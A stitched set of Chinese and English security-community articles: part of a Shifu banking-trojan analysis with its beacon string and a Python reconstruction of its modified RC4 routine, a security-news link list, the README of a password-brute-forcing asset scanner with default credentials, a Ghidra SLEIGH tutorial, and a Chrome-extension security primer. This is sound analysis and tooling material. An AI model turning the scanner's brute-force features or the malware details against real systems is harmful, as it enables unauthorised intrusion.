我们能够看到一些动态获取的信息（bot标识，更新时间，操作系统版本，本地时间戳，令牌，反病毒软件，工作站域名，中间人拦截检测），同时也能看到一些像bot版本和campaign名的静态值，例子如下：
botid=26C47136!A5A4B18A!F2F924F2&ver=1.759&up=18294&os=6110<ime=-8&token=0&cn=1brz&av=&dmn=&mitm=0
我们能看到Shifu的内部版本是“1.759”和campaign名为“1brz”。
如果我们将Shifu的查询字符串和2014年2月发现的最新版本的Shiz（内部版本是5.6.25）的比较，我们能看见相似之处：
botid=%s&ver=5.6.25&up=%u&os=%03u<ime=%s%d&token=%d&cn=sochi&av=%s
**修改的RC4加密算法**
Shifu使用了一个修改过的RC4加密算法。我们用Python重构了算法并以“klyatiemoskali.bit”域名的加密展示为例：
import os
import binascii
###initial values##########
string = "klyatiemoskali.bit"
seed =
"fnbqooqdaixfueangywblgabirdgvkewdyqgfqaioluesyrpryfkjerfsouemaxnavrkguxmcmhckwprunurmhehclermtufwi
yjbqhwlunbunuumeowfjmerxppxrgaxukyx"
buffer = [0] * (len(string))
table_encr = [0] * 0x102
table_encr[0x100] = 1
table_encr[0x101] = 0
###########################
###string2buffer###########
i = 0
while (i<len(string)):
char_1 = string[i]
int_1 = ord (char_1)
buffer[i] = int_1
i += 1
###string2buffer###########
###encryption table########
i = 0
while (i < 0x100):
table_encr[i] = 0x000000ff&i
i += 1
i = 0
j = 0
while (i < 0x100):
char_1 = seed[j]
int_2 = ord (char_1)
table_encr[i] ^= int_2
i += 1
j += 1
if (j == len(seed)):
j = 0
###########################
###encryption##############
size_1 = len(string)
i = 0
while (size_1 != 0):
byte_buf = buffer[i]
ind_1 = table_encr[0x100]
ind_2 = table_encr[ind_1]
ind_3 = 0x000000ff&(ind_2 + table_encr[0x101])
ind_4 = 0x000000ff&(table_encr[ind_3])
table_encr[ind_1] = ind_4
table_encr[ind_3] = ind_2
buffer[i] = 0x000000ff&(table_encr[0x000000ff&(ind_2 + ind_4)] ^ byte_buf)
table_encr[0x100] = 0x000000ff&(ind_1 + 1)
table_encr[0x101] = ind_3
i += 1
size_1 -= 1
i = 0
str_1 = ""
while (i < len(string)):
str_1 = str_1 + chr(buffer[i])
i += 1
###########################
###output##################
print ("Cleartext string: %s" % string)
print ("Encrypted: 0x%s" % binascii.hexlify(str_1))
########################### | 社区文章 |
# 【知识】7月17日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 漏洞赏金猎人方法谈、如何在Windows Server
2016利用ETERNALROMANCE/SYNERGY获得一个meterpreter会话、Splash
SSRF到获取内网服务器ROOT权限、逆向工程433MHz Motorised Blind RF协议
、yams：模块化安全框架（集成了实用的安全测试脚本及流行的开源项目）、如何高效的进行子域名收集与筛选（以针对Yahoo! 的安全测试为例） ******
**
**
**资讯类：**
两个新兴为“Wannabe Hackers”提供网络犯罪即服务的平台被发现
<http://thehackernews.com/2017/07/cybercrime-as-as-service.html>
WhatsApp现在支持发送任何格式的文件
[http://thehackernews.com/2017/07/whatsapp-send-any-file.html](http://thehackernews.com/2017/07/whatsapp-send-any-file.html)
**技术类：**
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
漏洞赏金猎人方法谈
<https://www.youtube.com/watch?v=C4ZHAdI8o1w>
如何高效的进行子域名收集与筛选（以针对Yahoo! 的安全测试为例）
<https://medium.com/@woj_ciech/how-to-find-internal-subdomains-yql-yahoo-and-bug-bounty-d7730b374d77>
yams：模块化安全框架（集成了实用的安全测试脚本及流行的开源项目）
<https://github.com/leesoh/yams>
Hawkeye：监控github代码库，及时发现员工托管公司代码到GitHub行为并预警，降低代码泄露风险。
<https://github.com/0xbug/Hawkeye>
如何在Windows Server 2016利用ETERNALROMANCE/SYNERGY获得一个meterpreter会话
<https://www.exploit-db.com/docs/42329.pdf>
Splash SSRF到获取内网服务器ROOT权限
<https://mp.weixin.qq.com/s/Ssk8CKF4EdUjZ0AIvOXKxw>
客户端设备（CPE）路由器中的系统性漏洞分析
<http://resources.sei.cmu.edu/asset_files/SpecialReport/2017_003_001_502618.pdf>
逆向工程433MHz Motorised Blind RF协议
<https://nickwhyte.com/post/2017/reversing-433mhz-raex-motorised-rf-blinds/>
在IoT智能报警系统中发现5个严重漏洞可导致远程代码执行
<http://dojo.bullguard.com/blog/burglar-hacker-when-a-physical-security-is-compromised-by-iot-vulnerabilities/>
Technicolor ADSL住宅网关漏洞分析
<https://weaponizedautism.wordpress.com/2017/07/14/vulnerabilities-in-technicolor-adsl-residential-gateways/>
Detecting stealthier cross-process injection techniques with Windows Defender
ATP: Process hollowing and atom bombing
<https://blogs.technet.microsoft.com/mmpc/2017/07/12/detecting-stealthier-cross-process-injection-techniques-with-windows-defender-atp-process-hollowing-and-atom-bombing/>
CVE to PoC – CVE-2017-0059
<https://redr2e.com/cve-to-poc-cve-2017-0059/>
锁定注册表的乐趣
<https://tyranidslair.blogspot.co.uk/2017/07/locking-your-registry-keys-for-fun-and.html>
Oauth 2.0之点我的链接就进入了你的账号
[http://ecma.io/764.html](http://ecma.io/764.html)
Anti-Antidebugging WinDbg脚本
<https://vallejo.cc/2017/07/16/anti-antidebugging-windbg-scripts/> | 社区文章 |
**作者：awake1t
项目链接：<https://github.com/awake1t/linglong>**
一款资产巡航扫描系统。系统定位是通过masscan+nmap无限循环去发现新增资产，自动进行端口弱口令爆破/、指纹识别、XrayPoc扫描。主要功能包括:
`资产探测`、`端口爆破`、`Poc扫描`、`指纹识别`、`定时任务`、`管理后台识别`、`报表展示`。
使用场景是Docker搭建好之后，设置好你要扫描的网段跟爆破任务。就不要管他了，没事过来收漏洞就行了
### 功能清单
* masscan+namp巡航扫描资产
* 创建定时爆破任务(FTP/SSH/SMB/MSSQL/MYSQL/POSTGRESQL/MONGOD)
* 管理后台识别
* 结果导出
* 报表展示
* docker一键部署 [21-02-08]
* CMS识别 - 结合威胁情报、如果某个CMS爆出漏洞，可以快速定位企业内部有多少资产 [21-02-20]
* poc扫描 - 调用xray的Poc,对新发现的资产自动扫描poc [21-02-20]
## 预览
tip:如果图片加载不出来,[点我去gitee看图片](https://gitee.com/awake1t/linglong)
**首页**
**资产列表**
**敏感后台**
**指纹管理**
**任务列表**
**任务详情**
**xray**
**设置**
**管理后台识别**
不论甲方乙方。大家在渗透一个网站的时候，很多时候都想尽快找到后台地址。linglong对自己的资产库进行Title识别。然后根据title关键字、url关键字、body关键字(比如url中包含login、body中包含username/password)进行简单区分后台。帮助我们渗透中尽快锁定后台。
**指纹识别**
系统会对新发现的资产进行一遍指纹识别,
也可以手动新增指纹。比如某个CMS爆出漏洞，新增指纹扫描一遍系统中存在的资产。可以快速定位到漏洞资产，对于渗透打点或者甲方应急都是极好的
**POC扫描**
对于任何一个扫描系统，poc扫描都是必不可少的。但是poc的更新一直是所有开源项目面临的一个问题。综合考虑用Xray的poc,系统集成的XRAY版本是1.7.0,感谢Xray对安全圈做出的贡献！
linglong会对每次新发现的资产进行一遍Xray的Poc扫描。如果发现漏洞会自动入库，可以可视化查看漏洞结果
**资产巡航更新**
masscan可以无限扫描，但是对于失效资产我们也不能一直保存。linglong通过动态设置资产扫描周期，对于N个扫描周期都没有扫描到的资产会进行删除。保存资产的时效性
## 安装
### Docker安装
#### 如果部署在本地体验
如果是 **本地体验** 下，直接运行如下命令
git clone https://github.com/awake1t/linglong
cd linglong
docker-compose up -d
运行结束后,运行`docker container ls -a`看下是否运行正常
web访问 [http://ip:8001](http://ip:8001/) 登录账号:linglong 登录密码:linglong5s
类型 | 用户名 | 密码
---|---|---
Web账号 | linglong | linglong5s
mysql数据库 | root | linglong8s
注: 首次运行在设置里修改扫描的网段范围,点击保存后就行了。然后耐心等待系统自动扫描，扫描耗时您配置的网段+端口+速率会有变化
如果部署在服务器上(地址不是127.0.0.1情况)
git clone https://github.com/awake1t/linglong
cd linglong/web
# 把 YourServerIp 换成你的IP地址
sed -i 's#http://127.0.0.1:18000#http://YourServerIp:18000#g' ./dist/js/app.4dccb236.js && sed -i 's#http://127.0.0.1:18000#http://YourServerIp:18000#g' ./dist/js/app.4dccb236.js.map
# 重要！！！ 如果之前安装过，使用如下命令删除所有名字包含linglong的历史镜像
docker rmi $(docker images | grep "linglong" | awk '{print $3}')
# 返回到 linglong的目录下
cd ../
docker-compose up -d
## 未来
我觉得一个好的工具就是 **拿来就用、用完既走** 。后期会加入漏洞的机器人通知，发现漏洞自动通知到机器人，连你登录系统的步骤都省略。
或者看有没有方式把Goby集成。加油，干饭人！
## 更新日志
* [2021-0210] 指纹资产管理、增删改查
* [2021-0210] 优化资产的查询方式
* [2021-0213] 发现资产POC自动扫描、扫描结果界面查看、删除
* [2021-0214] 密码修改功能，关闭Xray-server-error
* [2021-0215] Docker折腾了好久
* [2021-0225] 更新docker-compose的部署方式
## 常见问题
**Q: 为什么安装后，点击登录没有反应？？**
A:大概率是你的部署的服务器地址不是 **127.0.0.1** , 所以会登录不上。 解决参考安装方式中：
“如果部署在服务器上(地址不是127.0.0.1情况)”。
如果你的部署服务器地址是127.0.0.1,登录没反应。提供F12网络中的请求包截图，环境，部署方式到ISSUE。
**Q: 出现 Service 'web' failed to build : Error parsing reference:
"nginx:1.15.3-alpine as production-stage" is not a valid repository/tag:
invalid reference format？？报错**
A: docker版本过低,查看docker的版本 `docker --version`。 解决: 需要升级docker的版本, 我的docker版本,
Docker version 19.03.4, build 9013bf5docker升级参考
## 致谢
<https://github.com/ysrc/xunfeng>
<https://github.com/chaitin/xray>
# 404StarLink 2.0 - Galaxy
linglong 是 404Team
[星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)中的一环，如果对linglong
有任何疑问又或是想要找小伙伴交流，可以参考星链计划的加群方式。
* <https://github.com/knownsec/404StarLink2.0-Galaxy#community>
* * * | 社区文章 |
作为一个边缘 pwn 手，一直很喜欢研究逆向工具的原理。不久前
[Ghidra](https://github.com/NationalSecurityAgency/ghidra)
的发布终于给了我一个动力开始深入研究，毕竟在此之前开源社区基本上没有能用的逆向工具。[Radare2](https://github.com/radare/radare2)
虽然一直也致力于做一个能用的逆向工具，但是从我自己用下来的感觉来说，他基本上还达不到能够成为主力逆向工具的程度，最多只能作为其他逆向工具的辅助。关于对这些工具的对比，如果有空，我会写一篇文章发表一下我自己了解的一些看法，大家也不需要因为这个吵起来，毕竟工具这个东西，各有优劣。
这一个系列我不确定我会写多少，主要是基于我现在学习的一些东西，觉得有意思的地方，或者比较难懂，比较难记的东西，我会写一下。据我所知，国内对逆向工具研究很深的并不太多，所以也希望通过我的介绍，能够揭开逆向工具的神秘面纱，让大家都理解其中的原理，在必要时候能够在开源基础上做出改动，或是为开源社区做出贡献。
本系列内容目前以 Ghidra 作为背景，其中内容会以 Ghidra 为例。
## 背景知识
本文假设读者拥有二进制方面的基础，主要是逆向或是 pwn 方面的基础，至少需要了解汇编语言、处理器工作方式等内容。
## 逆向工具、逆向框架简介
作为这个系列的第一篇，需要先简要介绍一下逆向工具本身。
作为二进制选手，大家都使用过逆向工具，包括目前业界标准的 IDA pro，NSA 新开源的 Ghidra ，价格不算太贵但是收费的
[BinaryNinja](https://binary.ninja/) 还有一直活跃的 Radare2 ，那么一个逆向工具都包括什么？需要有什么功能？
这个我想大家心里都有数，这里我主要介绍下一个逆向工具（逆向框架、逆向平台），都包含哪些部分。
这是一个典型的逆向工具包含的内容：
+------+ +------+ +-------+
| 插件 | | 插件 | | ... |
+------+ +------+ +-------+
| | |
+---------+--------+
v
+--------------+
| 插件管理 |
+--------------+
+--------------^--------------+
| | |
v v v
+----------+ +----------+ +----------+
| 文件格式 |-->| 反汇编 |-->| 界面 |
+----------+ +----------+ +----------+
其中主要的部分是文件格式解析、反汇编和界面，当然光有这些还无法成为一个完整的逆向工具，在这几个部分中也有许多具体的内容，这里只是说明一个逆向工具需要的几个大体部分。
文件格式解析部分负责分析二进制文件，按照其特点分析为不同的文件，按照不同的文件进行分类，解析之后，还会构造程序的映射，这样才能够确认哪些部分是可执行部分，从而为后续的反汇编流程提供必要条件。
反汇编部分功能就比较显然了，负责将文件格式解析后，确认为将要执行的内容进行分析，包括找到指令所在位置等。之后，将指令进行解码，识别出二进制机器码对应的具体指令。
界面部分当然就是负责显示了，这一部分其实可以脱离前面的核心部分，从而支持所谓的 `headless analysis`，也就是不启动界面进行分析。
最后，也是最关键的部分，就是插件管理。作为“框架”，或是“平台”，只有支持了插件才算是完整的。插件的支持为逆向工具提供了无限的可能，我们熟知的
Hexrays 反编译工具就是在 IDA pro
上的一个插件。对于一个设计合格的逆向工具，插件能够插入到功能当中的每一个部分，甚至扩展功能本身。事实上，虽然我将逆向工具划分了三个主要功能，但是理论上只需要有插件就足够了，因为其他部分均可以通过插件的方式进行管理，并且提供。
另外，需要声明这里的归类，包括三类主要功能，都是我自己归类的，事实上如果具有适当的插件管理，那么其他所有部分均可以通过插件进行处理。但是由于这三类功能在我自己看来足够重要，所以单独提出。
## 架构规范（Architecture Specification）
既然这一篇是讲架构规范，我们肯定首先需要了解什么是架构规范（Architecture Specification）。
这里的架构是指处理器架构，架构规范，指的是处理器规范，可以理解为通过形式化语言将一个架构描述下来。大家最熟悉的例子应该是 x86 架构，或是 arm
架构，这些都是处理器架构，而处理器规范的意义，就是通过一个形式化的语言，或者更通俗地讲，就是通过一个更加规范的语言将处理器的架构描述出来。
所以为什么需要描述处理器架构呢？我们不是有 Intel 手册可以了解 x86
架构的功能、用法、指令集了吗？的确，手册是处理器厂商官方给出的，非常权威，我们完全可以依赖手册了解我们面对的架构，但是手册的问题也很明显： **不够规范**
。官方的手册都是用自然语言描述的，虽然我们可以更容易地看懂，但是也带来了问题。自然语言描述是不利于机器处理的，换言之，官方的手册，从来没有考虑过需要你用机器处理。
这就引出了对处理器架构用规范语言描述，即，架构规范的一大意义： **便于编程处理** 。
那为什么编程自动化处理架构这么重要呢？因为，我们在写逆向工具呀！:)
思考一下，逆向工具需要什么功能？反汇编、反编译？交叉引用？分析跳转目标？这些似乎都是逆向工具需要的功能，其中最为重要的一个环节，反汇编，是一个非常繁重的工作。一个逆向工具增加对一个架构的支持，就需要对其架构细节进行处理，包括它的指令集、它的特点（例如一些架构具有的寄存器窗口、delay
slot、或是像 arm 具有 thumb
模式），因为只有处理了这些特点，才能够正确分析出一些有价值的信息，包括交叉引用等。交叉引用，只有在分析出了跳转的目标，或是引用的目标，才能够正确找出来对吧？如果没有正确处理这些信息，逆向工具又如何找出来跳转目标呢？更不用说反汇编本身指令集的处理了，连指令都无法识别，这些功能就无从谈起了。
现在，我们思考一下，逆向工具对一个架构的支持有什么方式。我们以最基础的部分，指令解码为例。指令解码指将二进制机器码形式的内容识别为某条汇编指令的过程。事实上，这个过程是最复杂的，因为再简单的架构，也会拥有大量指令（例如会包含向量指令扩展、浮点数计算扩展等，导致指令数量不会太少），更不用说像
x86 这样的 CISC 架构，指令本身设计时就非常多，扩展起来就更多了。
一种最简单的方式，就是通过写代码直接进行指令解码。这种方式看似简单，也是最容易想到的方式，事实上工作量非常大。一大原因就是指令数量实在太多，识别到具体指令的过程非常复杂，特别是像
x86 这样的变长指令集。
那么还有什么方式呢？有一句名言，”软件工程的所有问题，都可以通过加一层的方式解决“，在这也不例外。我们通过加入新的一层，也就是 ——
架构规范，来解决这个问题。在之前，我们的指令解码过程如下：
+------+ 解码逻辑（代码） +------+
| bin | ---------------> | 汇编 |
+------+ +------+
现在，加入架构规范之后，我们的解码过程：
+-----------+ 生成 +---------+
| 架构规范 | ------> | 解码器 |
+-----------+ (代码）+---------+
|
|
+-----------+ v +-------+
| bin | ------------>+--------->| 汇编 |
+-----------+ +-------+
区别是什么？区别在于，我们实现生成解码器过程的代码是复用的！所以在支持不同的架构的时候，原来我们需要写针对不同架构的解码逻辑，现在，我们只需要编写不同的架构规范！
好吧，看起来没什么不同，但是事实上是，由于架构规范不止能够生成解码器，甚至可以生成编码器（在汇编过程中用到），或是指明语义（用于生成中间语言，或是其他语言，例如从
x86 翻译到
arm），这种情况下，原本我们需要针对不同的架构编写不同的解码器、编码器，现在，我们只需要写一个足够好的，从架构规范生成解码器和生成器的”生成代码“，之后，我们支持其他架构，只需要加入架构规范了。
这种方式，我们得到两个好处：
1. 加入新架构时，减少了代码量
2. 更容易维护现有架构，因为架构规范本身不像代码那样难以阅读（想象一下分析指令过程中的层层 if ..）
除此以外，一些研究方向也注重于使用规范的方式描述架构，从而进行形式化验证（一般是 Instruction Set
Specification，不过在本文中我没有区别两者）。
在我自己看来，使用架构规范的方式进行解码器和编码器的生成是反汇编的一个关键。一个不恰当的例子就是[llvm的反汇编器](https://github.com/llvm/llvm-project/blob/master/llvm/lib/Target/X86/Disassembler/X86DisassemblerDecoder.cpp)。虽然
llvm
使用了[类似架构规范的描述语言](https://llvm.org/docs/TableGen/index.html)，但是因为其设计之初只考虑了编译过程，没有考虑生成解码器的过程（编译过程不需要解码器，只需要编码器，而且编译器理论上不需要支持所有指令，一些冷门指令可以被其他指令代替，所以指令支持不全），导致解码器编写过程非常复杂。
## [SLEIGH](https://ghidra.re/courses/languages/html/sleigh.html) 语言
SLEIGH 语言是 Ghidra 逆向工具中用到的架构描述语言（架构规范），在这里我们介绍 SLEIGH
语言的一些基本要素，从而让大家了解架构规范在现实中的用法情况。
另外，这一部分也可作为 SLEIGH 语言的基础教程，帮助大家了解 SLEIGH 语言的基本结构，对于我自己来说，主要是对这个语言起总结作用。
注意，本文的内容远不足以当做 SLEIGH 语言教程，只可当做 SLEIGH 语言总览，需要继续学习，请参照官方文档，本文只可用于辅助理解。
### 启发
SLEIGH 语言的思路来源于[UQBT: adaptable binary translation at low
cost](https://ieeexplore.ieee.org/abstract/document/825697)，据说 IDA pro
的设计也参考了文章中的一些内容。
这篇文章主要通过定义架构描述语言，实现了两个架构之间的转换。其中用到了[Specifying Representations of Machine
Instructions](https://www.cs.tufts.edu/~nr/pubs/specifying.pdf)一文中的 SLED
描述语言的一些设计，还用到了[Specifying the semantics of machine
instructions](https://ieeexplore.ieee.org/abstract/document/693332)的一些设计。
SLEIGH 看起来参考了其中的一些设计，特别是 SLED 语言的一些基本要素，官方文档并没有太多介绍其思路来源，所以结合上文提到的思路来源会更加容易理解
SLEIGH 语言的一些设计决定，在必要时可以参阅。
### 设计目标
SLEIGH 语言的设计主要考虑到了反汇编和 IR （Intermediate
Representation，中间语言）提升的两个功能，所以可以用于进行生成解码器，同时可以将二进制机器码提升到 IR。提升到 IR
的部分需要对指令的语义进行描述，也就是说明具体某条指令所做的事情。
一种简单暴力的方式用来达到描述指令与机器码对应关系以及指令语义就是直接列举 **所有的指令**
，然后分别列出其语义。但是不用想也知道，这样的方法非常低效，所以在设计时，需要考虑到可以复用的部分。
举例来讲，在汇编中，取址的部分就是可复用的，因为很多指令可能都会采用相同的取址方式。类似的还有寄存器索引，也就是指明指令中所用到的寄存器，在汇编中，很多指令采用了相同的寄存器索引方式，也就是对于指令中特定的几个二进制位，将其翻译为数字，作为一个数组的索引，而这个数组里的内容就是寄存器。这个数组对于很多指令来说是一样的，所以没有必要单独指明每一条指令可能出现的所有情况（所以没有必要将一条指令采用不同寄存器列作不同的指令，这样太繁琐了）。
SLEIGH 的设计，包括其前辈 SLED ，就是考虑了这些情况，然后提出了一些概念，从而更加容易生成解码器。
不过，SLEIGH 的设计并没有在意汇编部分，虽然这不意味着无法生成指令编码器（事实上 SLEIGH
自己有一个实验性的指令编码器），但是会导致生成过程不如指令解码器容易（这一部分在 Ghidra 的实验性编码器生成过程中也提到了）。
下面我们通过理解 SLEIGH 语言中的几个概念，来理解这种架构描述语言。
### 符号（Symbol）
符号，用我自己的理解，就是 SLEIGH 中用到的各种标识符。如果换到其他常规编程语言中，例如 C 语言中，下面这一句定义：
int a = 1;
其中的 a 是 _标识符_ ，同时是一个 _变量_ 。如果用我的理解，换到 SLEIGH
中，这里的标识符就对应符号，变量的概念对应后文中的其他概念。（这里其实并不严谨，标识符属于语法概念，变量属于语义概念，而符号在 SLEIGH
中和其他部分一样都属于语义概念，只是便于理解所以如此举例）
符号在 SLEIGH 中主要有两个作用：
* 显示作用：这个符号在反汇编中应该如何显示？
* 语义作用：这个符号在生成 IR 的时候应该如何使用？
举例来讲，一个寄存器，就是一个符号。以 x86 架构 rax 寄存器为例，显示作用决定了在反汇编显示的时候， rax 寄存器将被显示为字符串
“rax”，而语义作用决定了生成 IR 的时候，会编码为一个寄存器。
在 SLEIGH 中将符号分为两类：
* 具体符号（Specific Symbol）
* 组符号（Family Symbol）
这里的 rax
寄存器，就是一个具体符号，组符号描述指令编码与具体符号之间的对应关系。事实上在我第一次查看文档的时候，这一部分让我非常困扰，难以理解。后来我将这两者的关系当做面向对象中，对象和类的关系，具体符号就是一个对象，而组符号是一个类，这样就容易理解了许多。
至于“组符号决定指令编码与具体符号对应关系”这句话，主要是针对 SLEIGH
作为解码器使用的时候。举例来讲，如果我们将“寄存器”这个概念认为是组符号，将具体的寄存器，例如 rax 寄存器，rbx
寄存器等等认为是具体符号，在编写规范的时候，我们指定指令中某一个位置是寄存器，但具体解码的时候，需要根据具体指令将位于“寄存器”所在位置的部分翻译为具体的某个寄存器。所以这就体现了组符号将指令编码对应到具体符号上。
### 标记（Token）和域（Field）
这两个概念与符号有一定交叉，并不冲突，一个标记或是域也可以被认为是某类型的符号。
标记的概念在 SLED 语言中就提及了，在 SLEIGH 中也基本上延用了。SLED
中将二进制机器码认为是标记的流，解码就是识别各个标记的过程，域则是标记中的一部分，是标记中的一些二进制位。
在 SLEIGH 语言中，标记被限定为 8 个二进制位对齐，也就是以字节（又不是 defcon ，干嘛考虑一个字节不是 8
个二进制位的情况，是吧？对，我就是针对 defcon 25。不过，真有这种情况，应该可以利用修改 SLEIGH
语言对反汇编过程的控制进行模拟）为单位对齐，域则是标记的一部分。
只要我们记住标记和域的概念和符号是有交叉的（并不冲突），其用途也就不难理解了。
举例来讲，我们可以将一条完整的指令当做一个标记，域就是组成这条指令的各个部分，例如其操作码（opcode），第一个操作数，等等。
如果结合符号的概念，域就是一个组符号，因为域将标记中的一部分（一部分二进制位）映射到了具体的符号上（例如具体的某个寄存器，具体的操作数等等）。
在默认情况下，域通通被当做数字处理，SLEIGH 语言通过 attach 关键字，改变域的语义。例如可以将一个域的数字当做寄存器的索引，这种情况下的
SLEIGH 语言：
attach variables fieldlist registerlist;
其中 fieldlist 是一系列 field 名，这些 field 将被认为是寄存器，而不再被当做简单的数字。 registerlist
则是寄存器的列表，以后这些 field 的含义就会变为这个寄存器列表当中的索引。
### 构造器（Constructor）和表（Table）
对于熟悉编译的同学，以下内容更加便于理解：
构造器用于构造新的符号，如果用上下文无关语法中的概念来对比，这就像是语法中的规则（Rule）。构造器在指明如何构造新的符号的同时，也指出了这个过程的语义（是不是想到了语法制导翻译？）。表则是构造器的一个集合，同样用上下文无关语法来对比，表就像是语法中的非终结符。
我觉得这一部分几乎就是从编译中解析器部分抄过来的，大概也就是改了个名字。不过由于这个名字在 SLED
中就开始用了，所以就由他去吧。。只要大家可以理解就行了。
不过构造器和语法中的规则相比，还多了一个前提要求，也就是 _指令模式_ （Instruction
Pattern），因为只有在符合特定情况下的时候，才能够应用这个规则。例如如果要应用 add 指令对应的构造器，就需要操作码满足要求。
由于 SLEIGH 语言的设计目标是指令解码，所以存在一个提前定义好的”根表“，名为
instruction，这一点非常类似语法解析中的根，也没有什么太特别的，就不再赘述了。
### 解码过程
在 Ghidra 中，解码的过程是自顶向下的，也就是先匹配将要应用的构造器，然后逐步向下直到整个指令被确定。
例如某个 SLEIGH 规范定义如下（只保留了条件，省略了语义、显示等内容）
寄存器：
reg1 和 reg2 为寄存器，列表 [ r0 r1 r2 r3 r4 r5 r6 r7 ]
标号 instr 共 16 位：
* 域 op 10 到 15 位
* 域 mode 6 到 9 位
* 域 reg1 3 到 5 位
* 域 imm 0 到 2 位
* 域 reg2 0 到 2 位
instruction表（根）：
* and reg1,op2 需要满足 op = 0x10，且存在 reg1，op2
* xor reg1, op2 需要满足 op = 0x11，且存在 reg1，op2
* or reg1, op2 需要满足 op = 0x12，且存在 reg1，op2
op2 表：
* reg2，满足 mode = 0，且存在 reg2
* imm，满足 mode = 1，且存在 imm
* [reg2]，满足 mode = 2，且存在 reg2
假设一条指令如下:
(10, 15): 0x10
(6, 9): 0x2
(3, 5): 0x3
(0, 2): 0x4
其解析过程，首先通过 instruction 表，确定 op 为 0x10，reg1 为 0x3，对应寄存器为 r2，此时满足 and
对应的构造器（事实上构造器没有名字，这里的 and 是显示部分的内容）。该表使用到了 op2 表，所以接下来解析 op2 表， op2 表中，mode 为
2，满足 [reg2] 构造器，reg2 再根据寄存器，对应到 r4。
最终指令被解析为：`and r2, [r4]`。显示形式可以通过解析后的显示部分推导出来，而具体如何翻译为 IR，可以通过其语义部分进行推导。
## 总结
本文首先对逆向工具进行了简要介绍，主要关注其重点的几个功能，之后介绍了逆向工具中架构规范的相关内容，最后通过 SLEIGH
实例介绍了架构规范，或是架构描述语言的一种形式。
就我个人而言，我认为 SLEIGH 语言还有一定改进的空间。经过思考，我认为 SLEIGH
语言在一定程度上借鉴了上下文无关语法的内容，主要是构造器和表的部分，但是其语法和上下文无关语法的常用形式差距较大，这样就增大了学习成本，所以这是一个可改进的点，通过采用更贴近上下文无关语法的表示形式对
SLEIGH 语法进行改进。这一点比较容易，可以通过翻译到 SLEIGH
语言进行，只是需要一定量的设计，使得语法更加浅显易懂（尽量避免引入难以理解的概念）。 | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team
Chinese Version: <https://paper.seebug.org/1082/>**
In early 2019, Microsoft chose Chromium as the default browser and abandoned
the development of Edge. And on April 8, 19, Edge officially released the Edge
Dev browser developed based on Chromium, and provided supporting plug-in
management compatible with Chrome Ext. Chrome's plug-in system is increasingly
affecting the general population.
In this context, the security of Chrome Ext should also receive due attention.
"Getting Started with Chrome Ext Security from Zero" will start from the most
basic plug-in development, and gradually study the security issues from
various perspectives such as malicious plug-in and how malicious web pages use
plug-in to attack.
In the first part, we will mainly talk about some basics about Chrome Ext.
# How to get the code of plugin
The existence mode of Chrome Ext is similar to adding a new layer of
interpreter in the browser. When we visit the webpage, the plug-in will load
the html, js, css, and explain the execution.
So the code of Chrome Ext is html, js, css, etc. So how do we get the code of
the plugin?
When we visit the extension's page, we can get the corresponding plugin id.
Then we can download the package of crx in <https://chrome-extension-downloader.com/>.
we can modify the ext of Plugin to .zip and uncompress it.
# manifest.json
In code of the plugin, a important file is manifest.json, we can find all
configurations of plugin in it.
The fields are more important.
* browser_action
* This field defines the pop-up content after the icon is clicked
* content_scripts
* matches - Requirement for insert scripts, default is document_idle, which means when the page is idle
* js - Path for insert scripts
* run_at - Defines which pages need to insert scripts
* permissions
* This field defines the permissions of the plug-in, including permissions definitions from multiple dimensions such as browser tab, history, cookies, page data, etc.
* `content_security_policy`
* This field defines the CSP of the plugin page
* But this field not affect content_scripts
* background
* This field defines the background page of the plugin. Under default settings, this page runs continuously in the background, only open and close with the browser.
* persistent - define the background page path
* page - define the background page
* scripts - background page will not persistent all the time
Before starting the research on Chrome plugins, in addition to the
configuration of manifest.json, we also need to understand the plugin
structure built around Chrome.
# The main presentation of Chrome Ext
## browserAction
The upper right corner of the browser triggers the `browser_action` in
mainfest.json
"browser_action": {
"default_icon": "img/header.jpg",
"default_title": "LoRexxar Tools",
"default_popup": "popup.html"
},
the page content from popup.html
## pageAction
pageAction is similar to browserAction, except that the difference is that
pageAction is a plugin that is triggered only when certain conditions are met,
and it will always remain gray if it is not triggered.
## contextMenus
By calling the chrome.contextMenus API in chrome, we can define the right-click menu in the browser.
Of course, to control this API you must first apply for permission to control
contextMenus.
{"permissions": ["contextMenus"]}
Generally, this API is defined in the background, because the background is
always loading.
chrome.contextMenus.create({
title: "test the right-click menu",
onclick: function(){alert('you click the right-click menu');}
});
<https://developer.chrome.com/extensions/contextMenus>
## override
Chrome provides overrides to cover some specific pages of Chrome. This
includes history, new tabs, bookmarks, and more ...
"chrome_url_overrides":
{
"newtab": "newtab.html",
"history": "history.html",
"bookmarks": "bookmarks.html"
}
For example, Toby for Chrome is a plugin that covers new tabs.
## devtools
Chrome allows plugins to refactor developer tools and perform corresponding
operations.
The life cycle of devtools in the plug-in is the same as the window opened by
F12. When F12 is closed, the plug-in will automatically end.
In the devtools page, the plug-in has access to a special set of APIs, which
can only be accessed in the devtools page.
chrome.devtools.panels：about panels；
chrome.devtools.inspectedWindow：get something about inserted window；
chrome.devtools.network：get details about netword；
{
"devtools_page": "devtools.html"
}
<https://developer.chrome.com/extensions/devtools>
## option
option represents the settings page of the plug-in. After selecting the icon,
right-click the option to enter this page.
{
"options_ui":
{
"page": "options.html",
"chrome_style": true
},
}
## omnibox
In chrome, if you enter a non-url in the address bar, the content will be
automatically transferred to google search.
omnibox provides magic modification for this function. We can trigger the
plugin by setting keywords, and then we can complete the search with the help
of the plugin.
{
"omnibox": { "keyword" : "go" },
}
This function is defined by the chrome.omnibox API.
## notifications
notifications represents a notification box that pops up in the lower right
corner.
chrome.notifications.create(null, {
type: 'basic',
iconUrl: 'img/header.jpg',
title: 'test',
message: 'i found you!'
});
# permission and api
After understanding the types of plug-ins, another important thing is the
permission system and APIs related to Chrome plug-ins.
Chrome has developed into this era, and its related permission system division
has been considered very detailed, and the specific details can be found in
the documentation.
<https://developer.chrome.com/extensions/declare_permissions>
Leaving aside the various manifestations of the Chrome plug-in, the
